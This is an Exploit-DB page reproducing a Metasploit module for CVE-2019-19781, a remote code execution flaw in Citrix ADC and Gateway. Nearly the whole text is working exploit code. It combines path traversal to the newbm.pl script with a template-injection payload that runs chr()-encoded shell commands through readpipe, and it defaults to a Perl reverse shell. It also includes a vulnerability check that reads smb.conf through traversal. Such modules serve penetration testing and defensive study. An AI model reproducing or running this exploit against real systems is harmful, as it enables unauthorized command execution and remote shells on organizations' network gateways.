Citrix Application Delivery Controller and Gateway 10.5 – Remote Code Execution (Metasploit)

  • 作者: mekhalleh
    日期: 2020-01-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/47913/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Citrix ADC Remote Code Execution',
    'Description' => %q(
    An issue was discovered in Citrix Application Delivery Controller (ADC)
    and Gateway 10.5, 11.1, 12.0, 12.1, and 13.0. They allow Directory Traversal.
    ),
    'Author' => [
    'RAMELLA Sébastien' # https://www.pirates.re/
    ],
    'References' => [
    ['CVE', '2019-19781'],
    ['URL', 'https://www.mdsec.co.uk/2020/01/deep-dive-to-citrix-adc-remote-code-execution-cve-2019-19781/'],
    ['EDB', '47901'],
    ['EDB', '47902']
    ],
    'DisclosureDate' => '2019-12-17',
    'License' => MSF_LICENSE,
    'Platform' => ['unix'],
    'Arch' => ARCH_CMD,
    'Privileged' => true,
    'Payload' => {
    'Compat' => {
    'PayloadType' => 'cmd',
    'RequiredCmd' => 'generic perl meterpreter'
    }
    },
    'Targets' => [
    ['Unix (remote shell)',
    'Type' => :cmd_shell,
    'DefaultOptions' => {
    'PAYLOAD' => 'cmd/unix/reverse_perl',
    'DisablePayloadHandler' => 'false'
    }
    ],
    ['Unix (command-line)',
    'Type' => :cmd_generic,
    'DefaultOptions' => {
    'PAYLOAD' => 'cmd/unix/generic',
    'DisablePayloadHandler' => 'true'
    }
    ],
    ],
    'DefaultTarget' => 0,
    'DefaultOptions' => {
    'RPORT' => 443,
    'SSL' => true
    },
    'Notes' => {
    'Stability' => [CRASH_SAFE],
    'Reliability' => [REPEATABLE_SESSION],
    'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
    }
    ))
    
    register_options([
    OptAddress.new('RHOST', [true, 'The target address'])
    ])
    
    register_advanced_options([
    OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
    
    deregister_options('RHOSTS')
    end
    
    def execute_command(command, opts = {})
    filename = Rex::Text.rand_text_alpha(16)
    nonce = Rex::Text.rand_text_alpha(6)
    
    request= {
    'method' => 'POST',
    'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', 'scripts', 'newbm.pl'),
    'headers' => {
    'NSC_USER' => '../../../netscaler/portal/templates/' + filename,
    'NSC_NONCE' => nonce
    },
    'vars_post' => {
    'url' => 'http://127.0.0.1',
    'title' => "[% template.new({'BLOCK'='print readpipe(#{get_chr_payload(command)})'})%]",
    'desc' => 'desc',
    'UI_inuse' => 'RfWeb'
    },
    'encode_params' => false
    }
    
    begin
    received = send_request_cgi(request)
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
    print_error('Unable to connect on the remote target.')
    end
    return false unless received
    
    if received.code == 200
    vprint_status("#{received.get_html_document.text}")
    sleep 2
    
    request = {
    'method' => 'GET',
    'uri' => normalize_uri('vpn', '..', 'vpns', 'portal', filename + '.xml'),
    'headers' => {
    'NSC_USER' => nonce,
    'NSC_NONCE' => nonce
    }
    }
    
    ## Trigger to gain exploitation.
    begin
    send_request_cgi(request)
    received = send_request_cgi(request)
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
    print_error('Unable to connect on the remote target.')
    end
    return false unless received
    return received
    end
    
    return false
    end
    
    def get_chr_payload(command)
    chr_payload = command
    i = chr_payload.length
    
    output = ""
    chr_payload.each_char do | c |
    i = i - 1
    output << "chr(" << c.ord.to_s << ")"
    if i != 0
    output << " . "
    end
    end
    
    return output
    end
    
    def check
    begin
    received = send_request_cgi(
    "method" => "GET",
    "uri" => normalize_uri('vpn', '..', 'vpns', 'cfg', 'smb.conf')
    )
    rescue ::OpenSSL::SSL::SSLError, ::Errno::ENOTCONN
    print_error('Unable to connect on the remote target.')
    end
    
    if received && received.code != 200
    return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Vulnerable
    end
    
    def exploit
    unless check.eql? Exploit::CheckCode::Vulnerable
    unless datastore['ForceExploit']
    fail_with(Failure::NotVulnerable, 'The target is not exploitable.')
    end
    else
    print_good('The target appears to be vulnerable.')
    end
    
    case target['Type']
    when :cmd_generic
    print_status("Sending #{datastore['PAYLOAD']} command payload")
    vprint_status("Generated command payload: #{payload.encoded}")
    
    received = execute_command(payload.encoded)
    if (received) && (datastore['PAYLOAD'] == "cmd/unix/generic")
    print_warning('Dumping command output in parsed http response')
    print_good("#{received.get_html_document.text}")
    else
    print_warning('Empty response, no command output')
    return
    end
    
    when :cmd_shell
    print_status("Sending #{datastore['PAYLOAD']} command payload")
    vprint_status("Generated command payload: #{payload.encoded}")
    
    execute_command(payload.encoded)
    end
    end
    
    end